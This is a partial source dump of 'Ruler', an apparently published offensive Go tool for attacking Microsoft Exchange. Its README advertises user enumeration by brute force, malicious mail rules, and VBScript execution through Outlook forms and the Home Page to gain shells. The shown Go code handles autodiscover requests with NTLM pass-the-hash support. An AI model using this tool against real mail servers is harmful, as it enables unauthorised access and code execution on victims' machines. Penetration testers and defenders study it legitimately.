├── .gitignore ├── LICENSE ├── README.md ├── autodiscover ├── autodiscover.go └── brute.go ├── forms └── rulerforms.go ├── http-ntlm ├── LICENSE └── ntlmtransport.go ├── mapi ├── constants.go ├── datastructs-abk.go ├── datastructs.go ├── mapi-abk.go ├── mapi.go ├── restrictionDatastructs.go ├── ropbuffers.go └── ropids.go ├── rpc-http ├── constants.go ├── packets.go └── rpctransport.go ├── ruler.go ├── templates ├── formdeletetemplate.bin ├── formtemplate.bin ├── img0.bin └── img1.bin ├── utils ├── datatypes.go ├── logging.go └── utils.go └── webdav ├── webdav └── webdavserv.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | 26 | ruler-* 27 | ruler 28 | logs/ 29 | 30 | build.sh 31 | config.yml 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International 2 | Public License 3 | 4 | By exercising the Licensed Rights (defined below), You accept and agree 5 | to be bound by the terms and conditions of this Creative Commons 6 | Attribution-NonCommercial-ShareAlike 4.0 International Public License 7 | ("Public License"). To the extent this Public License may be 8 | interpreted as a contract, You are granted the Licensed Rights in 9 | consideration of Your acceptance of these terms and conditions, and the 10 | Licensor grants You such rights in consideration of benefits the 11 | Licensor receives from making the Licensed Material available under 12 | these terms and conditions. 13 | 14 | 15 | Section 1 -- Definitions. 16 | 17 | a. Adapted Material means material subject to Copyright and Similar 18 | Rights that is derived from or based upon the Licensed Material 19 | and in which the Licensed Material is translated, altered, 20 | arranged, transformed, or otherwise modified in a manner requiring 21 | permission under the Copyright and Similar Rights held by the 22 | Licensor. For purposes of this Public License, where the Licensed 23 | Material is a musical work, performance, or sound recording, 24 | Adapted Material is always produced where the Licensed Material is 25 | synched in timed relation with a moving image. 26 | 27 | b. Adapter's License means the license You apply to Your Copyright 28 | and Similar Rights in Your contributions to Adapted Material in 29 | accordance with the terms and conditions of this Public License. 30 | 31 | c. BY-NC-SA Compatible License means a license listed at 32 | creativecommons.org/compatiblelicenses, approved by Creative 33 | Commons as essentially the equivalent of this Public License. 34 | 35 | d. Copyright and Similar Rights means copyright and/or similar rights 36 | closely related to copyright including, without limitation, 37 | performance, broadcast, sound recording, and Sui Generis Database 38 | Rights, without regard to how the rights are labeled or 39 | categorized. For purposes of this Public License, the rights 40 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 41 | Rights. 42 | 43 | e. Effective Technological Measures means those measures that, in the 44 | absence of proper authority, may not be circumvented under laws 45 | fulfilling obligations under Article 11 of the WIPO Copyright 46 | Treaty adopted on December 20, 1996, and/or similar international 47 | agreements. 48 | 49 | f. Exceptions and Limitations means fair use, fair dealing, and/or 50 | any other exception or limitation to Copyright and Similar Rights 51 | that applies to Your use of the Licensed Material. 52 | 53 | g. License Elements means the license attributes listed in the name 54 | of a Creative Commons Public License. The License Elements of this 55 | Public License are Attribution, NonCommercial, and ShareAlike. 56 | 57 | h. Licensed Material means the artistic or literary work, database, 58 | or other material to which the Licensor applied this Public 59 | License. 60 | 61 | i. Licensed Rights means the rights granted to You subject to the 62 | terms and conditions of this Public License, which are limited to 63 | all Copyright and Similar Rights that apply to Your use of the 64 | Licensed Material and that the Licensor has authority to license. 65 | 66 | j. Licensor means the individual(s) or entity(ies) granting rights 67 | under this Public License. 68 | 69 | k. NonCommercial means not primarily intended for or directed towards 70 | commercial advantage or monetary compensation. For purposes of 71 | this Public License, the exchange of the Licensed Material for 72 | other material subject to Copyright and Similar Rights by digital 73 | file-sharing or similar means is NonCommercial provided there is 74 | no payment of monetary compensation in connection with the 75 | exchange. 76 | 77 | l. Share means to provide material to the public by any means or 78 | process that requires permission under the Licensed Rights, such 79 | as reproduction, public display, public performance, distribution, 80 | dissemination, communication, or importation, and to make material 81 | available to the public including in ways that members of the 82 | public may access the material from a place and at a time 83 | individually chosen by them. 84 | 85 | m. Sui Generis Database Rights means rights other than copyright 86 | resulting from Directive 96/9/EC of the European Parliament and of 87 | the Council of 11 March 1996 on the legal protection of databases, 88 | as amended and/or succeeded, as well as other essentially 89 | equivalent rights anywhere in the world. 90 | 91 | n. You means the individual or entity exercising the Licensed Rights 92 | under this Public License. Your has a corresponding meaning. 93 | 94 | 95 | Section 2 -- Scope. 96 | 97 | a. License grant. 98 | 99 | 1. Subject to the terms and conditions of this Public License, 100 | the Licensor hereby grants You a worldwide, royalty-free, 101 | non-sublicensable, non-exclusive, irrevocable license to 102 | exercise the Licensed Rights in the Licensed Material to: 103 | 104 | a. reproduce and Share the Licensed Material, in whole or 105 | in part, for NonCommercial purposes only; and 106 | 107 | b. produce, reproduce, and Share Adapted Material for 108 | NonCommercial purposes only. 109 | 110 | 2. Exceptions and Limitations. For the avoidance of doubt, where 111 | Exceptions and Limitations apply to Your use, this Public 112 | License does not apply, and You do not need to comply with 113 | its terms and conditions. 114 | 115 | 3. Term. The term of this Public License is specified in Section 116 | 6(a). 117 | 118 | 4. Media and formats; technical modifications allowed. The 119 | Licensor authorizes You to exercise the Licensed Rights in 120 | all media and formats whether now known or hereafter created, 121 | and to make technical modifications necessary to do so. The 122 | Licensor waives and/or agrees not to assert any right or 123 | authority to forbid You from making technical modifications 124 | necessary to exercise the Licensed Rights, including 125 | technical modifications necessary to circumvent Effective 126 | Technological Measures. For purposes of this Public License, 127 | simply making modifications authorized by this Section 2(a) 128 | (4) never produces Adapted Material. 129 | 130 | 5. Downstream recipients. 131 | 132 | a. Offer from the Licensor -- Licensed Material. Every 133 | recipient of the Licensed Material automatically 134 | receives an offer from the Licensor to exercise the 135 | Licensed Rights under the terms and conditions of this 136 | Public License. 137 | 138 | b. Additional offer from the Licensor -- Adapted Material. 139 | Every recipient of Adapted Material from You 140 | automatically receives an offer from the Licensor to 141 | exercise the Licensed Rights in the Adapted Material 142 | under the conditions of the Adapter's License You apply. 143 | 144 | c. No downstream restrictions. You may not offer or impose 145 | any additional or different terms or conditions on, or 146 | apply any Effective Technological Measures to, the 147 | Licensed Material if doing so restricts exercise of the 148 | Licensed Rights by any recipient of the Licensed 149 | Material. 150 | 151 | 6. No endorsement. Nothing in this Public License constitutes or 152 | may be construed as permission to assert or imply that You 153 | are, or that Your use of the Licensed Material is, connected 154 | with, or sponsored, endorsed, or granted official status by, 155 | the Licensor or others designated to receive attribution as 156 | provided in Section 3(a)(1)(A)(i). 157 | 158 | b. Other rights. 159 | 160 | 1. Moral rights, such as the right of integrity, are not 161 | licensed under this Public License, nor are publicity, 162 | privacy, and/or other similar personality rights; however, to 163 | the extent possible, the Licensor waives and/or agrees not to 164 | assert any such rights held by the Licensor to the limited 165 | extent necessary to allow You to exercise the Licensed 166 | Rights, but not otherwise. 167 | 168 | 2. Patent and trademark rights are not licensed under this 169 | Public License. 170 | 171 | 3. To the extent possible, the Licensor waives any right to 172 | collect royalties from You for the exercise of the Licensed 173 | Rights, whether directly or through a collecting society 174 | under any voluntary or waivable statutory or compulsory 175 | licensing scheme. In all other cases the Licensor expressly 176 | reserves any right to collect such royalties, including when 177 | the Licensed Material is used other than for NonCommercial 178 | purposes. 179 | 180 | 181 | Section 3 -- License Conditions. 182 | 183 | Your exercise of the Licensed Rights is expressly made subject to the 184 | following conditions. 185 | 186 | a. Attribution. 187 | 188 | 1. If You Share the Licensed Material (including in modified 189 | form), You must: 190 | 191 | a. retain the following if it is supplied by the Licensor 192 | with the Licensed Material: 193 | 194 | i. identification of the creator(s) of the Licensed 195 | Material and any others designated to receive 196 | attribution, in any reasonable manner requested by 197 | the Licensor (including by pseudonym if 198 | designated); 199 | 200 | ii. a copyright notice; 201 | 202 | iii. a notice that refers to this Public License; 203 | 204 | iv. a notice that refers to the disclaimer of 205 | warranties; 206 | 207 | v. a URI or hyperlink to the Licensed Material to the 208 | extent reasonably practicable; 209 | 210 | b. indicate if You modified the Licensed Material and 211 | retain an indication of any previous modifications; and 212 | 213 | c. indicate the Licensed Material is licensed under this 214 | Public License, and include the text of, or the URI or 215 | hyperlink to, this Public License. 216 | 217 | 2. You may satisfy the conditions in Section 3(a)(1) in any 218 | reasonable manner based on the medium, means, and context in 219 | which You Share the Licensed Material. For example, it may be 220 | reasonable to satisfy the conditions by providing a URI or 221 | hyperlink to a resource that includes the required 222 | information. 223 | 3. If requested by the Licensor, You must remove any of the 224 | information required by Section 3(a)(1)(A) to the extent 225 | reasonably practicable. 226 | 227 | b. ShareAlike. 228 | 229 | In addition to the conditions in Section 3(a), if You Share 230 | Adapted Material You produce, the following conditions also apply. 231 | 232 | 1. The Adapter's License You apply must be a Creative Commons 233 | license with the same License Elements, this version or 234 | later, or a BY-NC-SA Compatible License. 235 | 236 | 2. You must include the text of, or the URI or hyperlink to, the 237 | Adapter's License You apply. You may satisfy this condition 238 | in any reasonable manner based on the medium, means, and 239 | context in which You Share Adapted Material. 240 | 241 | 3. You may not offer or impose any additional or different terms 242 | or conditions on, or apply any Effective Technological 243 | Measures to, Adapted Material that restrict exercise of the 244 | rights granted under the Adapter's License You apply. 245 | 246 | 247 | Section 4 -- Sui Generis Database Rights. 248 | 249 | Where the Licensed Rights include Sui Generis Database Rights that 250 | apply to Your use of the Licensed Material: 251 | 252 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 253 | to extract, reuse, reproduce, and Share all or a substantial 254 | portion of the contents of the database for NonCommercial purposes 255 | only; 256 | 257 | b. if You include all or a substantial portion of the database 258 | contents in a database in which You have Sui Generis Database 259 | Rights, then the database in which You have Sui Generis Database 260 | Rights (but not its individual contents) is Adapted Material, 261 | including for purposes of Section 3(b); and 262 | 263 | c. You must comply with the conditions in Section 3(a) if You Share 264 | all or a substantial portion of the contents of the database. 265 | 266 | For the avoidance of doubt, this Section 4 supplements and does not 267 | replace Your obligations under this Public License where the Licensed 268 | Rights include other Copyright and Similar Rights. 269 | 270 | 271 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 272 | 273 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 274 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 275 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 276 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 277 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 278 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 279 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 280 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 281 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 282 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 283 | 284 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 285 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 286 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 287 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 288 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 289 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 290 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 291 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 292 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 293 | 294 | c. The disclaimer of warranties and limitation of liability provided 295 | above shall be interpreted in a manner that, to the extent 296 | possible, most closely approximates an absolute disclaimer and 297 | waiver of all liability. 298 | 299 | 300 | Section 6 -- Term and Termination. 301 | 302 | a. This Public License applies for the term of the Copyright and 303 | Similar Rights licensed here. However, if You fail to comply with 304 | this Public License, then Your rights under this Public License 305 | terminate automatically. 306 | 307 | b. Where Your right to use the Licensed Material has terminated under 308 | Section 6(a), it reinstates: 309 | 310 | 1. automatically as of the date the violation is cured, provided 311 | it is cured within 30 days of Your discovery of the 312 | violation; or 313 | 314 | 2. upon express reinstatement by the Licensor. 315 | 316 | For the avoidance of doubt, this Section 6(b) does not affect any 317 | right the Licensor may have to seek remedies for Your violations 318 | of this Public License. 319 | 320 | c. For the avoidance of doubt, the Licensor may also offer the 321 | Licensed Material under separate terms or conditions or stop 322 | distributing the Licensed Material at any time; however, doing so 323 | will not terminate this Public License. 324 | 325 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 326 | License. 327 | 328 | 329 | Section 7 -- Other Terms and Conditions. 330 | 331 | a. The Licensor shall not be bound by any additional or different 332 | terms or conditions communicated by You unless expressly agreed. 333 | 334 | b. Any arrangements, understandings, or agreements regarding the 335 | Licensed Material not stated herein are separate from and 336 | independent of the terms and conditions of this Public License. 337 | 338 | 339 | Section 8 -- Interpretation. 340 | 341 | a. For the avoidance of doubt, this Public License does not, and 342 | shall not be interpreted to, reduce, limit, restrict, or impose 343 | conditions on any use of the Licensed Material that could lawfully 344 | be made without permission under this Public License. 345 | 346 | b. To the extent possible, if any provision of this Public License is 347 | deemed unenforceable, it shall be automatically reformed to the 348 | minimum extent necessary to make it enforceable. If the provision 349 | cannot be reformed, it shall be severed from this Public License 350 | without affecting the enforceability of the remaining terms and 351 | conditions. 352 | 353 | c. No term or condition of this Public License will be waived and no 354 | failure to comply consented to unless expressly agreed to by the 355 | Licensor. 356 | 357 | d. Nothing in this Public License constitutes or may be interpreted 358 | as a limitation upon, or waiver of, any privileges and immunities 359 | that apply to the Licensor or You, including from the legal 360 | processes of any jurisdiction or authority. 361 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely. 4 | 5 | The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog posts: 6 | * [Ruler release] 7 | * [Pass the Hash with Ruler] 8 | * [Outlook forms and shells] 9 | * [Outlook Home Page – Another Ruler Vector] 10 | 11 | For a demo of it in action: [Ruler on YouTube] 12 | 13 | ## What does it do? 14 | 15 | Ruler has multiple functions and more are planned. These include 16 | 17 | * Enumerate valid users 18 | * Create new malicious mail rules 19 | * Dump the Global Address List (GAL) 20 | * VBScript execution through forms 21 | * VBScript execution through the Outlook Home Page 22 | 23 | Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information. 24 | 25 | # Getting Started 26 | 27 | Compiled binaries for Linux, OSX and Windows are available. Find these in [Releases] 28 | information about setting up Ruler from source is found in the [getting-started guide]. 29 | 30 | # Usage 31 | 32 | Ruler has multiple functions, these have their own documentation that can be found in the [wiki]: 33 | 34 | * [BruteForce] -- discover valid user accounts 35 | * [Rules] -- perform the traditional, rule based attack 36 | * [Forms] -- execute VBScript through forms 37 | * [Homepage] -- use the Outlook 'home page' for shell and persistence 38 | * [GAL] -- grab the Global Address List 39 | 40 | # Attacking Exchange 41 | 42 | The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchange documentation is a great starting point for new research. For an example of using this library in another project, see [SensePost Liniaal]. 43 | 44 | # License 45 | [![License: CC BY-NC-SA 4.0](https://img.shields.io/badge/License-CC%20BY--NC--SA%204.0-lightgrey.svg)](http://creativecommons.org/licenses/by-nc-sa/4.0/) 46 | 47 | Ruler is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0/) Permissions beyond the scope of this license may be available at http://sensepost.com/contact/. 48 | 49 | 50 | [Ruler Release]: 51 | [Pass the hash with Ruler]: 52 | [Outlook forms and shells]: 53 | [Outlook Home Page – Another Ruler Vector]: 54 | [Ruler on YouTube]: 55 | [Releases]: 56 | [SensePost Liniaal]: 57 | [wiki]: 58 | [BruteForce]: 59 | [Rules]: 60 | [Forms]: 61 | [Homepage]: 62 | [GAL]: 63 | [getting-started guide]: 64 | -------------------------------------------------------------------------------- /autodiscover/autodiscover.go: -------------------------------------------------------------------------------- 1 | package autodiscover 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "fmt" 7 | "io/ioutil" 8 | "net" 9 | "net/http" 10 | "net/url" 11 | "os" 12 | "regexp" 13 | "strings" 14 | "text/template" 15 | 16 | "github.com/sensepost/ruler/http-ntlm" 17 | "github.com/sensepost/ruler/utils" 18 | ) 19 | 20 | //globals 21 | 22 | //SessionConfig holds the configuration for this autodiscover session 23 | var SessionConfig *utils.Session 24 | var autodiscoverStep int 25 | var secondaryEmail string //a secondary email to use, edge case seen in office365 26 | var Transport http.Transport 27 | var useBasic = false 28 | 29 | //the xml for the autodiscover service 30 | const autodiscoverXML = ` 31 | {{.Email}} 32 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 33 | ` 34 | 35 | func parseTemplate(tmpl string) (string, error) { 36 | t := template.Must(template.New("tmpl").Parse(tmpl)) 37 | 38 | var buff bytes.Buffer 39 | err := t.Execute(&buff, SessionConfig) 40 | if err != nil { 41 | return "", err 42 | } 43 | return buff.String(), nil 44 | } 45 | 46 | //createAutodiscover generates a domain name of the format autodiscover.domain.com 47 | //and checks if a DNS entry exists for it. If it doesn't it tries DNS for just the domain name. 48 | //returns an empty string if no valid domain was found. 49 | //returns the full (expected) autodiscover URL 50 | func createAutodiscover(domain string, https bool) string { 51 | _, err := net.LookupHost(domain) 52 | if err != nil { 53 | return "" 54 | } 55 | if https == true { 56 | return fmt.Sprintf("https://%s/autodiscover/autodiscover.xml", domain) 57 | } 58 | return fmt.Sprintf("http://%s/autodiscover/autodiscover.xml", domain) 59 | } 60 | 61 | //GetMapiHTTP gets the details for MAPI/HTTP 62 | func GetMapiHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, error) { 63 | //var resp *utils.AutodiscoverResp 64 | var err error 65 | var rawAutodiscover string 66 | 67 | if autoURLPtr == "" && resp == nil { 68 | utils.Info.Println("Retrieving MAPI/HTTP info") 69 | //rather use the email address's domain here and --domain is the authentication domain 70 | lastBin := strings.LastIndex(email, "@") 71 | if lastBin == -1 { 72 | return nil, "", fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err) 73 | } 74 | maildomain := email[lastBin+1:] 75 | resp, rawAutodiscover, err = MAPIDiscover(maildomain) 76 | } else if resp == nil { 77 | resp, rawAutodiscover, err = MAPIDiscover(autoURLPtr) 78 | } 79 | 80 | if resp == nil || err != nil { 81 | return nil, "", fmt.Errorf("The autodiscover service request did not complete.\n%s", err) 82 | } 83 | //check if the autodiscover service responded with an error 84 | if resp.Response.Error != (utils.AutoError{}) { 85 | return nil, "", fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message) 86 | } 87 | return resp, rawAutodiscover, nil 88 | } 89 | 90 | //GetRPCHTTP exports the RPC details for RPC/HTTP 91 | func GetRPCHTTP(email, autoURLPtr string, resp *utils.AutodiscoverResp) (*utils.AutodiscoverResp, string, string, string, bool, error) { 92 | //var resp *utils.AutodiscoverResp 93 | var err error 94 | var rawAutodiscover string 95 | 96 | if autoURLPtr == "" && resp == nil { 97 | utils.Info.Println("Retrieving RPC/HTTP info") 98 | //rather use the email address's domain here and --domain is the authentication domain 99 | lastBin := strings.LastIndex(email, "@") 100 | if lastBin == -1 { 101 | return nil, "", "", "", false, fmt.Errorf("The supplied email address seems to be incorrect.\n%s", err) 102 | } 103 | maildomain := email[lastBin+1:] 104 | resp, rawAutodiscover, err = Autodiscover(maildomain) 105 | } else if resp == nil { 106 | resp, rawAutodiscover, err = Autodiscover(autoURLPtr) 107 | } 108 | 109 | if resp == nil || err != nil { 110 | return nil, "", "", "", false, fmt.Errorf("The autodiscover service request did not complete.\n%s", err) 111 | } 112 | //check if the autodiscover service responded with an error 113 | if resp.Response.Error != (utils.AutoError{}) { 114 | return nil, "", "", "", false, fmt.Errorf("The autodiscover service responded with an error.\n%s", resp.Response.Error.Message) 115 | } 116 | 117 | url := "" 118 | user := "" 119 | ntlmAuth := false 120 | 121 | for _, v := range resp.Response.Account.Protocol { 122 | if v.Type == "EXPR" { 123 | if v.SSL == "Off" { 124 | url = "http://" + v.Server 125 | } else { 126 | url = "https://" + v.Server 127 | } 128 | if v.AuthPackage == "Ntlm" { //set the encryption on if the server specifies NTLM auth 129 | ntlmAuth = true 130 | } 131 | } 132 | if v.Type == "EXCH" { 133 | user = v.Server 134 | } 135 | } 136 | 137 | //possibly office365 with forced RPC/HTTP 138 | if user == "" { 139 | if resp.Response.Account.MicrosoftOnline == true { 140 | lindex := strings.LastIndex(resp.Response.Account.Protocol[0].MailStore.ExternalUrl, "=") 141 | user = resp.Response.Account.Protocol[0].MailStore.ExternalUrl[lindex+1:] 142 | url = "https://outlook.office365.com" 143 | } 144 | } 145 | RPCURL := fmt.Sprintf("%s/rpc/rpcproxy.dll?%s:6001", url, user) 146 | 147 | utils.Trace.Printf("RPC URL set: %s\n", RPCURL) 148 | 149 | return resp, rawAutodiscover, RPCURL, user, ntlmAuth, nil 150 | } 151 | 152 | //CheckCache checks to see if there is a stored copy of the autodiscover record 153 | func CheckCache(email string) *utils.AutodiscoverResp { 154 | //check the cache folder for a stored autodiscover record 155 | email = strings.Replace(email, "@", "_", -1) 156 | email = strings.Replace(email, ".", "_", -1) 157 | path := fmt.Sprintf("./logs/%s.cache", email) 158 | 159 | if _, err := os.Stat(path); err != nil { 160 | if os.IsNotExist(err) { 161 | return nil 162 | } 163 | utils.Error.Println(err) 164 | return nil 165 | } 166 | utils.Info.Println("Found cached Autodiscover record. Using this (use --nocache to force new lookup)") 167 | data, err := ioutil.ReadFile(path) 168 | if err != nil { 169 | utils.Error.Println("Error reading stored record ", err) 170 | return nil 171 | } 172 | autodiscoverResp := utils.AutodiscoverResp{} 173 | autodiscoverResp.Unmarshal(data) 174 | return &autodiscoverResp 175 | } 176 | 177 | //CreateCache function stores the raw autodiscover record to file 178 | func CreateCache(email, autodiscover string) { 179 | 180 | if autodiscover == "" { //no autodiscover record passed in, don't try write 181 | return 182 | } 183 | email = strings.Replace(email, "@", "_", -1) 184 | email = strings.Replace(email, ".", "_", -1) 185 | path := fmt.Sprintf("./logs/%s.cache", email) 186 | if _, err := os.Stat("./logs"); err != nil { 187 | if os.IsNotExist(err) { 188 | //create the logs directory 189 | if err := os.MkdirAll("./logs", 0711); err != nil { 190 | utils.Error.Println("Couldn't create a cache directory") 191 | } 192 | //return nil 193 | } 194 | } 195 | fout, _ := os.OpenFile(path, os.O_CREATE|os.O_WRONLY, 0666) 196 | _, err := fout.WriteString(autodiscover) 197 | if err != nil { 198 | utils.Error.Println("Couldn't write to file for some reason..", err) 199 | } 200 | } 201 | 202 | //Autodiscover function to retrieve mailbox details using the autodiscover mechanism from MS Exchange 203 | func Autodiscover(domain string) (*utils.AutodiscoverResp, string, error) { 204 | if SessionConfig.Proxy == "" { 205 | Transport = http.Transport{ 206 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure}, 207 | } 208 | } else { 209 | proxyURL, err := url.Parse(SessionConfig.Proxy) 210 | if err != nil { 211 | return nil, "", fmt.Errorf("Invalid proxy url format %s", err) 212 | } 213 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL), 214 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure}, 215 | } 216 | } 217 | return autodiscover(domain, false) 218 | } 219 | 220 | //MAPIDiscover function to do the autodiscover request but specify the MAPI header 221 | //indicating that the MAPI end-points should be returned 222 | func MAPIDiscover(domain string) (*utils.AutodiscoverResp, string, error) { 223 | //set transport 224 | if SessionConfig.Proxy == "" { 225 | Transport = http.Transport{ 226 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure}, 227 | } 228 | } else { 229 | proxyURL, err := url.Parse(SessionConfig.Proxy) 230 | if err != nil { 231 | return nil, "", fmt.Errorf("Invalid proxy url format %s", err) 232 | } 233 | Transport = http.Transport{Proxy: http.ProxyURL(proxyURL), 234 | TLSClientConfig: &tls.Config{InsecureSkipVerify: SessionConfig.Insecure}, 235 | } 236 | } 237 | return autodiscover(domain, true) 238 | } 239 | 240 | func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, error) { 241 | //replace Email with the email from the config 242 | r, _ := parseTemplate(autodiscoverXML) 243 | autodiscoverResp := utils.AutodiscoverResp{} 244 | //for now let's rely on autodiscover.domain/autodiscover/autodiscover.xml 245 | //var client http.Client 246 | client := http.Client{Transport: &Transport} 247 | 248 | if SessionConfig.Basic == false { 249 | //check if this is a first request or a redirect 250 | //create an ntml http client 251 | 252 | client = http.Client{ 253 | Transport: &httpntlm.NtlmTransport{ 254 | Domain: SessionConfig.Domain, 255 | User: SessionConfig.User, 256 | Password: SessionConfig.Pass, 257 | NTHash: SessionConfig.NTHash, 258 | Insecure: SessionConfig.Insecure, 259 | CookieJar: SessionConfig.CookieJar, 260 | Proxy: SessionConfig.Proxy, 261 | }, 262 | Jar: SessionConfig.CookieJar, 263 | } 264 | 265 | } 266 | 267 | var autodiscoverURL string 268 | //check if this is just a domain, a redirect or a url (starts with http[s]://) 269 | 270 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { 271 | autodiscoverURL = domain 272 | } else { 273 | 274 | //create the autodiscover url 275 | if autodiscoverStep == 0 { 276 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) 277 | if autodiscoverURL == "" { 278 | autodiscoverStep++ 279 | } 280 | } 281 | if autodiscoverStep == 1 { 282 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) 283 | if autodiscoverURL == "" { 284 | autodiscoverStep++ 285 | } 286 | } 287 | if autodiscoverStep == 2 { 288 | autodiscoverURL = createAutodiscover(domain, true) 289 | if autodiscoverURL == "" { 290 | return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") 291 | } 292 | } 293 | } 294 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) 295 | 296 | req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r)) 297 | req.Header.Add("Content-Type", "text/xml") 298 | req.Header.Add("User-Agent", "ruler") 299 | 300 | if mapi == true { 301 | req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info 302 | req.Header.Add("X-AnchorMailbox", SessionConfig.Email) //we want MAPI info 303 | } 304 | 305 | //if we have been redirected to outlook, change the auth header to basic auth 306 | if SessionConfig.Basic == false { 307 | req.SetBasicAuth(SessionConfig.Email, SessionConfig.Pass) 308 | SessionConfig.BasicAuth = req.Header.Get("WWW-Authenticate") 309 | } else { 310 | req.SetBasicAuth(SessionConfig.User, SessionConfig.Pass) 311 | } 312 | //request the autodiscover url 313 | resp, err := client.Do(req) 314 | 315 | if err != nil { 316 | //check if this error was because of ntml auth when basic auth was expected. 317 | if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { 318 | client = http.Client{Transport: InsecureRedirectsO365{User: SessionConfig.Email, Pass: SessionConfig.Pass, Insecure: SessionConfig.Insecure}} 319 | resp, err = client.Do(req) 320 | if err != nil { 321 | return nil, "", err 322 | } 323 | useBasic = true 324 | } else { 325 | if autodiscoverStep < 2 { 326 | autodiscoverStep++ 327 | return autodiscover(domain, mapi) 328 | } 329 | //we've done all three steps of autodiscover and all three failed 330 | return nil, "", err 331 | } 332 | } 333 | 334 | defer resp.Body.Close() 335 | 336 | if resp.StatusCode == 401 || resp.StatusCode == 403 { 337 | return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") 338 | } 339 | 340 | body, err := ioutil.ReadAll(resp.Body) 341 | if err != nil { 342 | return nil, "", err 343 | } 344 | 345 | //check if we got a 200 response 346 | if resp.StatusCode == 200 { 347 | if useBasic == true { // don't overwrite --basic as pointed out here: https://github.com/sensepost/ruler/issues/67 348 | SessionConfig.Basic = useBasic 349 | } 350 | err := autodiscoverResp.Unmarshal(body) 351 | if err != nil { 352 | if SessionConfig.Verbose == true { 353 | utils.Error.Printf("%s\n", err) 354 | } 355 | if autodiscoverStep < 2 { 356 | autodiscoverStep++ 357 | return autodiscover(domain, mapi) 358 | } 359 | return nil, "", fmt.Errorf("Error in autodiscover response, %s", err) 360 | } 361 | SessionConfig.NTLMAuth = req.Header.Get("Authorization") 362 | 363 | //check if we got a RedirectAddr , 364 | //if yes, get the new autodiscover url 365 | if autodiscoverResp.Response.Account.Action == "redirectAddr" { 366 | rediraddr := autodiscoverResp.Response.Account.RedirectAddr 367 | redirAddrs := strings.Split(rediraddr, "@") //regexp.MustCompile(".*@").Split(rediraddr, 2) 368 | 369 | secondaryEmail = fmt.Sprintf("%s@%s", redirAddrs[0], domain) 370 | red, err := redirectAutodiscover(redirAddrs[1]) 371 | if err != nil { 372 | return nil, "", err 373 | } 374 | return autodiscover(red, mapi) 375 | } 376 | return &autodiscoverResp, string(body), nil 377 | } 378 | 379 | if resp.StatusCode == 401 || resp.StatusCode == 403 || resp.StatusCode == 404 